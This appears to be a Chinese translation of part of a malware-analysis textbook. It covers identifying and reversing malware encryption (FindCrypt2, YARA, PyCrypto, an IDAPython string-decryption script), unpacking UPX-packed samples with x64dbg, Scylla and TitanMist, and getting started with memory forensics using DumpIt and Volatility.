Findcrypt2 (www.hexblog.com/ida_pro/files/findcrypt2.zip) 是一个 IDA Pro 插件,用于在内存中搜索由多种不同算法使用的加密常量。要使用该插件,请下载它,并将 findcrypt.plw 文件复制到 IDA 插件文件夹中。现在,当你加载二进制文件时,插件会自动运行,或者你可以通过选择 编辑 | 插件 | Find crypt v2 手动调用它。插件的结果会显示在输出窗口中:

FindCrypt2 插件也可以在调试模式下运行。如果你使用的是 IDA 6.x 或更低版本,FindCrypt2 能很好地工作;在撰写本书时,它似乎无法与 IDA 7.x 版本兼容(可能是由于 IDA 7.x API 的变化)。

2.3 使用 YARA 检测加密签名

另一种识别二进制文件中加密使用的方法是通过扫描二进制文件并使用包含加密签名的 YARA 规则。你可以编写自己的 YARA 规则,也可以下载其他安全研究人员编写的 YARA 规则(例如在 github.com/x64dbg/yarasigs/blob/master/crypto_signatures.yara),然后使用这些 YARA 规则扫描二进制文件。

x64dbg 集成了 YARA;如果你希望在调试时扫描二进制文件中的加密签名,这非常有用。你可以将二进制文件加载到 x64dbg 中(确保执行在二进制文件中的某个位置暂停),然后右键单击 CPU 窗口并选择 YARA(或按 Ctrl + Y);这将弹出显示此处的 YARA 对话框。点击文件并定位包含 YARA 规则的文件。你还可以通过点击目录按钮加载包含 YARA 规则的多个文件:

以下截图显示了通过使用包含加密签名的 YARA 规则扫描恶意二进制文件后,检测到的 加密常量。现在,你可以右键单击任何条目并选择 “Follow in Dump” 以查看转储窗口中的数据,或者如果签名与加密例程相关联,你可以双击任何条目以跳转到相应的代码:

像 RC4 这样的加密算法不使用加密常量,因此很难通过加密签名来检测它。攻击者通常使用 RC4 加密数据,因为它易于实现;RC4 中使用的步骤在这篇 Talos 博客文章中有详细解释:blog.talosintelligence.com/2014/06/an-introduction-to-recognizing-and.html

2.4 使用 Python 解密

在你识别出加密算法和用于加密数据的密钥后,可以使用PyCryptowww.dlitz.net/software/pycrypto/)Python 模块来解密数据。要安装PyCrypto,你可以使用apt-get install python-cryptopip install pycrypto,或者从源代码编译。PyCrypto 支持多种哈希算法,如MD2MD4MD5RIPEMDSHA1SHA256。它还支持加密算法,如AESARC2BlowfishCASTDESDES3 (Triple DES)IDEARC5ARC4

以下 Python 命令演示了如何使用Pycrypto模块生成MD5SHA1SHA256哈希:

>>> from Crypto.Hash import MD5,SHA256,SHA1
>>> text = "explorer.exe"
>>> MD5.new(text).hexdigest()
'cde09bcdf5fde1e2eac52c0f93362b79'
>>> SHA256.new(text).hexdigest()
'7592a3326e8f8297547f8c170b96b8aa8f5234027fd76593841a6574f098759c'
>>> SHA1.new(text).hexdigest()
'7a0fd90576e08807bde2cc57bcf9854bbce05fe3'

要解密内容,请从Crypto.Cipher导入适当的加密模块。以下示例演示了如何在 ECB 模式下使用 DES 进行加密和解密:

>>> from Crypto.Cipher import DES
>>> text = "hostname=blank78"
>>> key = "14834567"
>>> des = DES.new(key, DES.MODE_ECB)
>>> cipher_text = des.encrypt(text)
>>> cipher_text
'\xde\xaf\t\xd5)sNj`\xf5\xae\xfd\xb8\xd3f\xf7'
>>> plain_text = des.decrypt(cipher_text)
>>> plain_text
'hostname=blank78'

3. 自定义编码/加密

有时,攻击者使用自定义编码/加密方案,这使得识别加密方式(及密钥)变得困难,也使逆向工程更加复杂。自定义编码方法之一是使用编码和加密的组合来混淆数据;例如,Etumbotwww.arbornetworks.com/blog/asert/illuminating-the-etumbot-apt-backdoor/)就是这样的恶意软件。当执行Etumbot恶意软件样本时,它会从 C2 服务器获取RC4密钥;然后,它使用获取的RC4密钥对系统信息(如主机名、用户名和 IP 地址)进行加密,接着使用自定义Base64对加密内容进行进一步编码,并将其外泄到 C2。包含混淆内容的 C2 通信稍后会展示。有关此样本的逆向工程细节,请参考作者的演讲和视频演示(cysinfo.com/12th-meetup-reversing-decrypting-malware-communications/):

要解混淆内容,首先需要使用自定义Base64解码,然后再使用RC4解密;这些步骤可以通过以下 Python 命令完成。输出将显示解密后的系统信息:

>>> import base64
>>> from Crypto.Cipher import ARC4
>>> rc4_key = "e65wb24n5"
>>> cipher_text = "kRp6OKW9r90_2_KvkKcQ_j5oA1D2aIxt6xPeFiJYlEHvM8QMql38CtWfWuYlgiXMDFlsoFoH"
>>> content = cipher_text.replace('_','/').replace('-','=')
>>> b64_decode = base64.b64decode(content)
>>> rc4 = ARC4.new(rc4_key)
>>> plain_text = rc4.decrypt(b64_decode)
>>> print plain_text
MYHOSTNAME|Administrator|192.168.1.100|No Proxy|04182|

一些恶意软件作者并没有使用标准的编码/加密算法的组合,而是实现了全新的编码/加密方案。一个这样的恶意软件例子是APT1组使用的恶意软件。这个恶意软件将一个字符串解密为网址;为此,恶意软件调用了一个用户定义的函数(在后面提到的截图中将其重命名为Decrypt_Func),该函数实现了自定义的加密算法。Decrypt_Func接受三个参数;第 1 个参数是包含加密内容的缓冲区,第 2 个参数是存储解密内容的缓冲区,第 3 个参数是缓冲区的长度。在下面的截图中,执行在调用Decrypt_Func之前暂停,显示了第 1 个参数(包含加密内容的缓冲区):

根据你的目标,你可以分析Decrypt_Func来理解算法的工作原理,然后按照作者的演示中所讲的内容编写解密器(cysinfo.com/8th-meetup-understanding-apt1-malware-techniques-using-malware-analysis-reverse-engineering/),或者你也可以让恶意软件为你解密内容。要让恶意软件解密内容,只需跳过Decrypt_Func(它会执行完解密功能),然后检查第 2 个参数(存储解密内容的缓冲区)。下图显示了解密后的缓冲区(第 2 个参数),其中包含恶意网址:

前面提到的让恶意软件解码数据的技术,如果解密函数被调用的次数不多,还是比较有用的。如果解密函数在程序中被调用了多次,使用调试器脚本自动化解码过程会更高效(详见 第六章,恶意二进制调试),而不是手动操作。为了演示这一点,请看下面这段 64 位恶意软件的代码片段(在下面的截图中)。注意恶意软件多次调用了一个函数(在稍后的截图中将其重命名为dec_function);如果你查看代码,会发现一个加密的字符串作为第 1 个参数(存放在rcx寄存器中)传递给了这个函数,执行该函数后,eax中的返回值包含了存储解密内容的缓冲区地址:

下图显示了对dec_function交叉引用;如你所见,程序中多次调用了这个函数:

每次调用dec_function时,它都会解密一个字符串。为了解密传递给这个函数的所有字符串,我们可以编写一个IDAPython脚本(例如下面显示的脚本):

import idautils
import idaapi
import idc

for name in idautils.Names():
    if name[1] == "dec_function":
        ea= idc.get_name_ea_simple("dec_function")
        for ref in idautils.CodeRefsTo(ea, 1):
            idc.add_bpt(ref)
idc.start_process('', '', '')
while True:
    event_code = idc.wait_for_next_event(idc.WFNE_SUSP, -1)
    if event_code < 1 or event_code == idc.PROCESS_EXITED:
        break
    rcx_value = idc.get_reg_value("RCX")
    encoded_string = idc.get_strlit_contents(rcx_value)
    idc.step_over()
    evt_code = idc.wait_for_next_event(idc.WFNE_SUSP, -1)
    if evt_code == idc.BREAKPOINT:
        rax_value = idc.get_reg_value("RAX")
    decoded_string = idc.get_strlit_contents(rax_value)
    print "{0} {1:>25}".format(encoded_string, decoded_string)
    idc.resume_process()

由于我们已经将解密函数重命名为dec_function,它可以从 IDA 中的名称窗口访问。之前的脚本会遍历名称窗口来识别dec_function并执行以下步骤:

  1. 如果dec_function存在,它会确定dec_function的地址。

  2. 它使用dec_function的地址来确定dec_function的交叉引用(Xrefs to),从而列出所有调用dec_function的地址。

  3. 它在dec_function被调用的所有地址上设置断点。

  4. 它会自动启动调试器,当在dec_function处命中断点时,它会从rcx寄存器指向的地址读取加密字符串。需要注意的是,为了让 IDA 调试器自动启动,请确保选择调试器(例如,本地 Windows 调试器),可以通过工具栏区域选择,或者选择Debugger | Select debugger

  5. 然后,它会跳过该函数,执行解密函数(dec_function),并读取返回值(rax),该返回值包含解密后字符串的地址。接着,它会打印出解密后的字符串。

  6. 它重复之前的步骤,解密每个传递给dec_function的字符串。

运行完之前的脚本后,加密字符串及其对应的解密字符串会显示在输出窗口中,如下所示。从输出中可以看到,恶意软件在运行时解密文件名、注册表名称和 API 函数名称,以避免引起怀疑。换句话说,这些是攻击者希望从静态分析中隐藏的字符串:

4. 恶意软件解包

攻击者会尽力保护其二进制文件免受防病毒检测,并使恶意软件分析师很难进行静态分析和逆向工程。恶意软件作者通常使用压缩器加密器参见 第二章,静态分析,了解压缩器及其检测方法),来混淆可执行内容。压缩器是一种程序,它将普通的可执行文件压缩其内容,并生成一个新的混淆可执行文件。加密器与压缩器类似,不是压缩二进制文件,而是加密它。换句话说,压缩器或加密器将可执行文件转换为一种难以分析的形式。当一个二进制文件被压缩时,它显示的信息非常少;你不会找到任何包含有价值信息的字符串,导入的函数数量会较少,程序指令也会被模糊化。要理解一个被压缩的二进制文件,你需要去除应用于程序的混淆层(解包);为此,首先了解压缩器的工作原理非常重要。

当一个普通的可执行文件经过打包器处理时,可执行内容会被压缩,并添加一个解包存根解压例程)。打包器随后修改可执行文件的入口点,将其指向存根的位置,并生成一个新的打包可执行文件。当打包的二进制文件被执行时,解包存根会在运行时提取原始二进制文件,并通过将控制权转移到原始入口点(OEP)来触发原始二进制文件的执行,以下图所示:

解包一个打包的二进制文件时,可以使用自动化工具或手动操作。自动化方法节省时间,但并非完全可靠(有时有效,有时无效),而手动方法虽然耗时,但一旦掌握技能,它是最可靠的方法。

4.1 手动解包

要解包被打包器打包的二进制文件,通常需要执行以下一般步骤:

  1. 第一步是确定OEP;如前所述,当一个打包的二进制文件被执行时,它会提取原始二进制文件,并在某个时刻将控制权转移到OEP。原始入口点(OEP)是恶意软件的第一条指令的地址(恶意代码的起始位置),即在打包之前的位置。在此步骤中,我们需要识别打包二进制文件中的指令,这条指令会跳转(引导我们)到 OEP。

  2. 下一步是执行程序,直到到达 OEP;其目的是让恶意软件的存根在内存中自解包并暂停在 OEP 处(在执行恶意代码之前)。

  3. 第三步是将解包后的进程从内存转储到磁盘。

  4. 最后一步是修复导入地址表(IAT),即转储文件的导入地址表。

在接下来的几节中,我们将详细探讨这些步骤。为了演示之前的概念,我们将使用一个被UPX 打包器打包的恶意软件(upx.github.io/)。接下来几节中介绍的工具和技术将帮助你了解手动解包过程。

4.1.1 确定 OEP

本节将帮助您理解识别打包二进制文件中 OEP 的技巧。在以下截图中,使用 pestudiowww.winitor.com/)检查打包二进制文件显示了许多提示,表明该文件被打包。打包二进制文件包含三个部分,UPX0UPX1.rsrc。从截图中可以看出,打包二进制文件的入口点在 UPX1 部分,因此执行从这里开始,这一部分包含将在运行时解压原始可执行文件的解压存根。另一个指示是,UPX0 部分的原始大小为 0,但虚拟大小为 0x1f000;这表明 UPX0 部分在磁盘上不占用任何空间,但在内存中占用空间;具体来说,它在内存中占用了 0x1f000 字节的大小(这是因为恶意软件在内存中解压可执行文件,并在运行时将其存储在 UPX0 部分)。此外,UPX0 部分具有 执行 权限,很可能是因为解压原始二进制文件后,恶意代码将在 UPX0 中开始执行:

另一个指示是,打包二进制文件包含了混淆的字符串,当您在 IDA 中加载二进制文件时,IDA 识别出导入地址表(IAT)位于非标准位置,并显示以下警告;这是由于 UPX 打包了所有部分和 IAT

该二进制文件仅包含一个内建函数和 5 个导入函数;所有这些指示都表明该二进制文件已被打包:

要找到 OEP,您需要定位程序中将控制转移到 OEP 的指令。根据打包器的不同,这可能简单也可能具有挑战性;通常,您需要关注那些将控制转移到不明确目的地的指令。检查打包二进制文件中函数的流程图会看到跳转到一个位置,该位置在 IDA 中被标红:

红色是 IDA 无法分析的标志,因为跳转目的地不明确。以下截图显示了跳转指令:

双击 跳转目的地 (byte_40259B) 显示跳转将到达 UPX0(从 UPX1)。换句话说,执行时,恶意软件将在 UPX1 执行解压缩存根,这将解压原始二进制文件,将解压后的代码复制到 UPX0,并且跳转指令很可能将控制转移到 UPX0 中解压后的代码(从 UPX1)。

到这个阶段,我们已经找到了我们认为会跳转到OEP的指令。下一步是将二进制文件加载到调试器中,并在执行跳转的指令处设置断点,然后执行直到到达该指令。为此,二进制文件已加载到x64dbg中(你也可以使用 IDA 调试器并按照相同的步骤操作),并在跳转指令处设置了断点,执行直到跳转指令。如下面的截图所示,执行在该跳转指令处暂停。

现在你可以假设恶意软件已经完成解压;接下来,你可以按一次F7(进入),这将带你到原始入口点地址0x0040259B。此时,我们来到了恶意软件的第一条指令(解压后):

4.1.2 使用 Scylla 转储进程内存

现在我们已经找到了 OEP,下一步是将进程内存转储到磁盘。为了转储进程,我们将使用名为Scylla的工具(github.com/NtQuery/Scylla);这是一个很棒的工具,可以用来转储进程内存并重建导入地址表。x64dbg的一个优点是它集成了Scylla,你可以通过点击插件 | Scylla 来启动它(或者按Ctrl + I)。要转储进程内存,当执行在 OEP 处暂停时,启动 Scylla,确保 OEP 字段设置为正确的地址,如下所示;如果没有,你需要手动设置它,然后点击 Dump 按钮并将转储的可执行文件保存到磁盘(在这种情况下,它被保存为packed_dump.exe):

现在,当你将转储的可执行文件加载到 IDA 时,你将看到所有内置函数的完整列表(这在打包程序中是不可见的),并且函数代码不再被混淆,但导入仍然不可见,API 调用显示的是地址而不是名称。为了克服这个问题,你需要重建打包二进制文件的导入表:

4.1.3 修复导入表

要修复导入,返回到Scylla,点击 IAT Autosearch 按钮,它将扫描进程内存以定位导入表;如果找到了,它将填充 VA 和大小字段并显示适当的值。要获取导入列表,点击 Get Imports 按钮。使用这种方法确定的导入函数列表如下所示。有时,你可能会在结果中看到无效条目(没有勾选标记的条目);在这种情况下,右键点击这些条目并选择 Cut Thunk 来删除它们:

在使用前一步确定了导入函数后,您需要将补丁应用到已转储的可执行文件(packed_dump.exe)。为此,请点击“Fix Dump”按钮,启动文件浏览器,您可以选择之前转储的文件。Scylla 会使用已确定的导入函数对二进制文件进行补丁处理,并创建一个新的文件,文件名末尾会包含 _SCY(例如 packed_dumped_SCY.exe)。现在,当您在 IDA 中加载已修补的文件时,您将看到导入函数的引用,如下所示:

当您处理某些打包工具时,Scylla 中的 IAT 自动搜索按钮可能无法找到模块的导入表;在这种情况下,您可能需要额外的努力来手动确定导入表的起始位置和大小,并将它们输入到 VA 和大小字段中。

4.2 自动解包

有各种工具可以解包使用常见打包工具如 UPXFSGAsPack 打包的恶意软件。自动化工具对于已知的打包工具非常有效,可以节省时间,但请记住,它并不总是有效;这时,手动解包技巧将派上用场。ReversingLabs 的 TitanMist (www.reversinglabs.com/open-source/titanmist.html) 是一个很棒的工具,包含各种 打包工具签名解包脚本。下载并解压后,您可以使用如下命令运行它来对打包的二进制文件进行解包;使用 -i 来指定输入文件(打包文件),-o 指定输出文件名,-t 指定解包器的类型。在后面提到的命令中,TitanMist 被用来处理一个使用 UPX 打包的二进制文件;请注意它是如何自动识别打包工具并执行解包过程的。该工具自动识别了 OEP 和导入表,转储了进程,修复了导入项,并将补丁应用到转储的进程中:

C:\TitanMist>TitanMist.exe -i packed.exe -o unpacked.exe -t python

Match found!
│ Name: UPX
│ Version: 0.8x - 3.x
│ Author: Markus and Laszlo
│ Wiki url: http://kbase.reversinglabs.com/index.php/UPX
│ Description:

Unpacker for UPX 1.x - 3.x packed files
ReversingLabs Corporation / www.reversinglabs.com
[x] Debugger initialized.
[x] Hardware breakpoint set.
[x] Import at 00407000.
[x] Import at 00407004.
[x] Import at 00407008.[Removed]
[x] Import at 00407118.
[x] OEP found: 0x0040259B.
[x] Process dumped.
[x] IAT begin at 0x00407000, size 00000118.
[X] Imports fixed.
[x] No overlay found.
[x] File has been realigned.
[x] File has been unpacked to unpacked.exe.
[x] Exit Code: 0.
█ Unpacking succeeded! 

另一个选择是使用 IDA Pro 的Universal PE Unpacker 插件。这个插件依赖于调试恶意软件,以确定代码何时跳转到 OEP。有关此插件的详细信息,请参考这篇文章(www.hex-rays.com/products/ida/support/tutorials/unpack_pe/unpacking.pdf)。要调用此插件,将二进制文件加载到 IDA 中,选择编辑 | 插件 | Universal PE unpacker。运行插件后,程序将在调试器中启动,并尝试在打包程序解包完成时暂停。将UPX-打包的恶意软件(与手动解包中使用的示例相同)加载到 IDA 中并启动插件后,将显示以下对话框。在以下截图中,IDA 将起始地址和结束地址设置为UPX0段的范围;这个范围被视为OEP范围。换句话说,当执行到达此段时(从包含解压缩存根的UPX1段),IDA 将暂停程序执行,给你机会采取进一步的行动:

在以下截图中,注意 IDA 如何自动确定 OEP 地址,并显示出以下对话框:

如果点击“Yes”按钮,执行将停止,进程将退出,但在此之前,IDA 会自动确定导入地址表(IAT),并创建一个新段来重建程序的导入部分。此时,你可以分析已解包的代码。以下截图展示了新重建的导入地址表:

如果不点击“YES”按钮,而是点击“No”按钮,IDA 将会在 OEP 处暂停调试器的执行,接下来你可以选择调试已解包的代码,或者手动导出可执行文件,使用像Scylla这样的工具修复导入项,通过输入正确的 OEP(如在第 4.1 节手动解包中讲解的那样)。

x64dbg中,你可以使用解包脚本进行自动化解包,这些脚本可以从github.com/x64dbg/Scripts下载。要进行解包,确保二进制文件已加载并暂停在入口点。根据你使用的打包工具,你需要通过右键点击脚本面板然后选择加载脚本 | 打开(或 Ctrl + O)来加载相应的解包脚本。以下截图展示了 UPX 解包脚本的内容:

加载脚本后,右键点击脚本窗格并选择“运行”以运行脚本。如果脚本成功解包,将弹出一个消息框,显示“脚本完成”,并且执行会暂停在 OEP 处。以下截图显示了在运行 UPX 解包脚本后,自动在 OEP 处设置的断点(在 CPU 窗格中)。现在,你可以开始调试解包后的代码,或者使用Scylla来转储进程并修复导入(如第 4.1 节手动解包所述):

除了前面提到的工具外,还有其他各种资源可以帮助你进行自动解包。请参见Ether Unpack Serviceether.gtisc.gatech.edu/web_unpack/FUU (Faster Universal Unpacker)github.com/crackinglandia/fuu.

总结

恶意软件作者使用混淆技术来隐藏数据并避开安全分析员的检测。在本章中,我们介绍了恶意软件作者常用的各种编码、加密和打包技术,并探讨了不同的去混淆策略。在下一章,你将接触到内存取证的概念,并了解如何利用内存取证来调查恶意软件的能力。

第十章:使用内存取证进行恶意软件猎杀

到目前为止,我们已经涵盖了使用静态分析、动态分析和代码分析来分析恶意软件的概念、工具和技术。在本章中,您将了解另一种技术,称为内存取证(或内存分析)

内存取证(或内存分析)是一种调查技术,涉及从计算机的物理内存(RAM)中查找和提取取证工件。计算机的内存存储着关于系统运行时状态的宝贵信息。获取并分析内存将揭示用于取证调查的必要信息,例如系统上正在运行的应用程序、这些应用程序正在访问的对象(文件、注册表等)、活动的网络连接、加载的模块、加载的内核驱动程序等。因此,内存取证在事件响应和恶意软件分析中被广泛使用。

在事件响应过程中,大多数情况下,您将无法访问恶意软件样本,但可能只有嫌疑系统的内存映像。例如,安全产品可能会警告某个系统存在可能的恶意行为,在这种情况下,您可以获取嫌疑系统的内存映像,以确认感染并查找恶意工件的内存取证。

除了在事件响应中使用内存取证外,您还可以将其作为恶意软件分析的一部分(拥有恶意软件样本时)使用,以获取有关感染后恶意软件行为的额外信息。例如,当您拥有恶意软件样本时,除了执行静态、动态和代码分析外,还可以在隔离环境中执行样本,然后获取感染计算机的内存并检查内存映像,以了解感染后恶意软件的行为。

另一个使用内存取证的原因是,某些恶意软件样本可能不会将恶意组件写入磁盘(仅存在于内存中)。因此,磁盘取证或文件系统分析可能会失败。在这种情况下,内存取证可以极大地帮助查找恶意组件。

一些恶意软件样本通过挂钩或修改操作系统结构来欺骗操作系统和实时取证工具。在这种情况下,内存取证非常有用,因为它可以绕过恶意软件用来隐藏自身的技巧。本章介绍了内存取证的概念,并涵盖了用于获取和分析内存映像的工具。

1. 内存取证步骤

无论是作为事件响应的一部分还是用于恶意软件分析,内存取证的一般步骤如下:

  • 内存获取:这涉及将目标机器的内存(或转储)到磁盘。根据您是调查受感染系统还是将内存取证作为恶意软件分析的一部分,目标机器可以是您怀疑受感染的系统(在您的网络上),也可以是您实验室环境中执行恶意软件样本的分析机器。

  • 内存分析:将内存转储到磁盘后,这一步涉及分析转储的内存以查找和提取取证物件。

2. 内存获取

内存获取是将易失性内存(RAM)获取到非易失性存储(磁盘文件)的过程。有各种工具可让您获取物理机器的内存。以下是一些允许您将物理内存(转储)到 Windows 的工具。其中一些工具是商业软件,许多工具可以在注册后免费下载。以下工具适用于 x86(32 位)和 x64(64 位)机器:

2.1 使用 DumpIt 进行内存获取

DumpIt是一款出色的内存获取工具,可让您在 Windows 上转储物理内存。它支持获取 32 位(x86)和 64 位(x64)机器的内存。DumpIt 是Comae memory toolkit的一部分,该工具包含各种独立工具,可帮助进行内存获取和在不同文件格式之间进行转换。要下载最新版本的Comae memory toolkit,您需要在my.comae.io上注册账户。创建账户后,您可以登录并下载最新版本的Comae memory toolkit

下载 Comae 工具包后,解压缩存档文件,并根据你希望转储 32 位或 64 位机器的内存,进入相应的 32 位或 64 位目录。该目录包含多个文件,其中包括DumpIt.exe。本节主要介绍如何使用 DumpIt 进行内存转储。如果你有兴趣了解该目录中其他工具的功能,请阅读readme.txt文件。

使用DumpIt获取内存的最简单方法是右键点击DumptIt.exe文件,并选择以管理员身份运行。默认情况下,DumpIt 将内存转储到一个文件中,该文件是Microsoft 崩溃转储(.dmp 扩展名),然后可以使用内存分析工具,如Volatility(接下来将介绍),或者使用 Microsoft 调试器,如WinDbg,对其进行分析。

你也可以从命令行运行DumpIt;这样你将拥有多个选项。要显示不同的选项,请以管理员身份运行cmd.exe,进入包含DumpIt.exe的目录,并输入以下命令:

C:\Comae-Toolkit-3.0.20180307.1\x64>DumpIt.exe /?
  DumpIt 3.0.20180307.1
  Copyright (C) 2007 - 2017, Matthieu Suiche <http://www.msuiche.net>
  Copyright (C) 2012 - 2014, MoonSols Limited <http://www.moonsols.com>
  Copyright (C) 2015 - 2017, Comae Technologies FZE <http://www.comae.io>

Usage: DumpIt [Options] /OUTPUT <FILENAME>

Description:
  Enables users to create a snapshot of the physical memory as a local file.

Options:
   /TYPE, /T Select type of memory dump (e.g. RAW or DMP) [default: DMP]
   /OUTPUT, /O Output file to be created. (optional)
   /QUIET, /Q Do not ask any questions. Proceed directly.
   /NOLYTICS, /N Do not send any usage analytics information to Comae Technologies. This is used to  
    improve our services.
   /NOJSON, /J Do not save a .json file containing metadata. Metadata are the basic information you will 
    need for the analysis.
   /LIVEKD, /L Enables live kernel debugging session.
   /COMPRESS, /R Compresses memory dump file.
   /APP, /A Specifies filename or complete path of debugger image to execute.
   /CMDLINE, /C Specifies debugger command-line options.
   /DRIVERNAME, /D Specifies the name of the installed device driver image.

要从命令行获取 Microsoft 崩溃转储的内存,并将输出保存到你选择的文件名中,可以使用/o/OUTPUT选项,如下所示:

C:\Comae-Toolkit-3.0.20180307.1\x64>DumpIt.exe /o memory.dmp

  DumpIt 3.0.20180307.1
  Copyright (C) 2007 - 2017, Matthieu Suiche <http://www.msuiche.net>
  Copyright (C) 2012 - 2014, MoonSols Limited <http://www.moonsols.com>
  Copyright (C) 2015 - 2017, Comae Technologies FZE <http://www.comae.io>

    Destination path: \??\C:\Comae-Toolkit-3.0.20180307.1\x64\memory.dmp

    Computer name:             PC

    --> Proceed with the acquisition ? [y/n] y

    [+] Information:
    Dump Type:                  Microsoft Crash Dump

    [+] Machine Information:
    Windows version: 6.1.7601
    MachineId: A98B4D56-9677-C6E4-03F5-902A1D102EED
    TimeStamp: 131666114153429014
    Cr3: 0x187000
    KdDebuggerData: 0xfffff80002c460a0
    Current date/time: [2018-03-27 (YYYY-MM-DD) 8:03:35 (UTC)]
    + Processing... Done.
    Acquisition finished at: [2018-03-27 (YYYY-MM-DD) 8:04:57 (UTC)]
    Time elapsed: 1:21 minutes:seconds (81 secs)
    Created file size: 8589410304 bytes (8191 Mb)
    Total physical memory size: 8191 Mb
    NtStatus (troubleshooting): 0x00000000
    Total of written pages: 2097022
    Total of inacessible pages: 0
    Total of accessible pages: 2097022
    SHA-256: 3F5753EBBA522EF88752453ACA1A7ECB4E06AEA403CD5A4034BCF037CA83C224
    JSON path: C:\Comae-Toolkit-3.0.20180307.1\x64\memory.json

要将内存作为原始内存转储而非默认的 Microsoft 崩溃转储,你可以使用/t/TYPE选项进行指定,如下所示:

C:\Comae-Toolkit-3.0.20180307.1\x64>DumpIt.exe /t RAW

  DumpIt 3.0.20180307.1
  Copyright (C) 2007 - 2017, Matthieu Suiche <http://www.msuiche.net>
  Copyright (C) 2012 - 2014, MoonSols Limited <http://www.moonsols.com>
  Copyright (C) 2015 - 2017, Comae Technologies FZE <http://www.comae.io>

  WARNING: RAW memory snapshot files are considered obsolete and as a legacy format.

  Destination path:  \??\C:\Comae-Toolkit-3.0.20180307.1\x64\memory.bin
  Computer name:             PC

  --> Proceed with the acquisition? [y/n] y

  [+] Information:
  Dump Type:                  Raw Memory Dump

  [+] Machine Information:
  Windows version:            6.1.7601
  MachineId:                  A98B4D56-9677-C6E4-03F5-902A1D102EED
  TimeStamp:                  131666117379826680
  Cr3:                        0x187000
  KdDebuggerData:             0xfffff80002c460a0
  Current date/time:          [2018-03-27 (YYYY-MM-DD) 8:08:57 (UTC)]

[.......REMOVED.........]

如果你希望从包含大量内存的服务器中获取内存,可以使用DumpIt中的/R/COMPRESS选项,这将创建一个.zdmpComae 压缩崩溃转储)文件,从而减少文件大小,并加快获取速度。然后可以使用 Comae Stardust 企业平台分析该转储文件(.zdmp):my.comae.io。更多细节,请参阅以下博客文章:blog.comae.io/rethinking-logging-for-critical-assets-685c65423dc0

在大多数情况下,你可以通过暂停虚拟机(Virtual Machine (VM))来获取内存。例如,在 VMware Workstation/VMware Fusion 上执行恶意软件样本后,你可以暂停虚拟机,这将把客户机的内存(RAM)写入主机磁盘上的一个.vmem扩展名的文件中。对于那些无法通过暂停获取内存的应用程序(如 VirtualBox),你可以在客户机内使用 DumpIt。

3. Volatility 概述

一旦获取了被感染系统的内存,下一步就是分析获取的内存镜像。Volatility (www.volatilityfoundation.org/releases) 是一个用 Python 编写的开源高级内存取证框架,允许你从内存镜像中分析和提取数字证据。Volatility 可以在各种平台上运行(Windows、macOS 和 Linux),并支持分析来自 32 位和 64 位版本的 Windows、macOS 和 Linux 操作系统的内存。

3.1 安装 Volatility

Volatility 以多种格式分发,并可从 www.volatilityfoundation.org/releases 下载。在撰写本书时,Volatility 的最新版本是 2.6。根据你打算在其上运行 Volatility 的操作系统,按照适当操作系统的安装过程进行安装。

3.1.1 Volatility 独立可执行文件

快速开始使用 Volatility 的方法是使用独立可执行文件。独立可执行文件适用于 Windows、macOS 和 Linux 操作系统。独立可执行文件的优点在于你无需安装 Python 解释器或 Volatility 依赖项,因为它已经打包了 Python 2.7 解释器和所有必需的依赖项。

在 Windows 上,一旦下载了独立可执行文件,你可以通过在命令行中执行带有 -h (--help) 选项的独立可执行文件来检查 Volatility 是否准备就绪,如下所示。帮助选项会显示 Volatility 中可用的各种选项和插件:

C:\volatility_2.6_win64_standalone>volatility_2.6_win64_standalone.exe -h
Volatility Foundation Volatility Framework 2.6
Usage: Volatility - A memory forensics analysis platform.

Options:
  -h, --help            list all available options and their default values.
                        Default values may be set in the configuration file
                        (/etc/volatilityrc)
  --conf-file=.volatilityrc
                        User based configuration file
  -d, --debug           Debug volatility
[.....REMOVED....]

同样地,你可以下载 Linux 或 macOS 的独立可执行文件,并通过在命令行中执行带有 -h(或 --help)选项的独立可执行文件来检查 Volatility 是否准备就绪,如下所示:

$ ./volatility_2.6_lin64_standalone -h
# ./volatility_2.6_mac64_standalone -h

3.1.2 Volatility 源码包

Volatility 也以源码包的形式分发;你可以在 Windows、macOS 或 Linux 操作系统上运行它。Volatility 依赖于各种插件来执行任务,其中一些插件依赖于第三方 Python 包。要运行 Volatility,你需要安装 Python 2.7 解释器及其依赖项。网页:github.com/volatilityfoundation/volatility/wiki/Installation#recommended-packages 包含了一些 Volatility 插件所需的第三方 Python 包的列表。你可以通过阅读文档来安装这些依赖项。一旦安装了所有依赖项,下载 Volatility 源代码包,解压缩并运行 Volatility,如下所示:

$ python vol.py -h
Volatility Foundation Volatility Framework 2.6
Usage: Volatility - A memory forensics analysis platform.

Options:
  -h, --help             list all available options and their default values.
                         Default values may be set in the configuration file
                         (/etc/volatilityrc)
  --conf-file=/root/.volatilityrc
                         User based configuration file
  -d, --debug            Debug volatility
[...REMOVED...]

本书中提到的所有示例都使用 Volatility Python 脚本(python vol.py)来自源代码包。你可以自由选择独立可执行文件,但请记住将 python vol.py 替换为独立可执行文件的名称。

3.2 使用 Volatility

Volatility 由多个插件组成,这些插件可以从内存镜像中提取不同的信息。python vol.py -h 选项显示支持的插件。例如,如果你希望列出内存镜像中的正在运行的进程,可以使用 pslist 插件,或者如果你希望列出网络连接,可以使用另一个插件。无论你使用哪个插件,都将使用以下命令语法。使用 -f,你可以指定内存镜像文件的路径,--profile 告诉 Volatility 内存镜像来自哪个系统和架构。根据你想从内存镜像中提取的信息类型,插件可能会有所不同:

$ python vol.py -f <memory image file> --profile=<PROFILE> <PLUGIN> [ARGS]

以下命令使用 pslist 插件列出从运行 Windows 7(32 位)服务包 1 获取的内存镜像中的正在运行的进程:

$ python vol.py -f mem_image.raw --profile=Win7SP1x86 pslist
Volatility Foundation Volatility Framework 2.6
Offset(V)  Name        PID PPID Thds Hnds  Sess Wow64  Start
---------- ---------- ---- ---- ---- ----  ---- ----- ---------------------
0x84f4a958 System         4    0  86  448  ----    0  2016-08-13 05:54:20
0x864284e0 smss.exe     272    4   2   29  ----    0  2016-08-13 05:54:20
0x86266030 csrss.exe    356  340   9  504     0    0  2016-08-13 05:54:22
0x86e0a1a0 wininit.exe  396  340   3   75     0    0  2016-08-13 05:54:22
0x86260bd0 csrss.exe    404  388  10  213     1    0  2016-08-13 05:54:22
0x86e78030 winlogon.exe 460  388   3  108     1    0  2016-08-13 05:54:22

[....REMOVED....]

有时,你可能不知道该为 Volatility 提供哪个配置文件。在这种情况下,你可以使用 imageinfo 插件,它会确定正确的配置文件。以下命令显示了 imageinfo 插件建议的多个配置文件;你可以使用任何一个建议的配置文件:

$ python vol.py -f mem_image.raw imageinfo
Volatility Foundation Volatility Framework 2.6
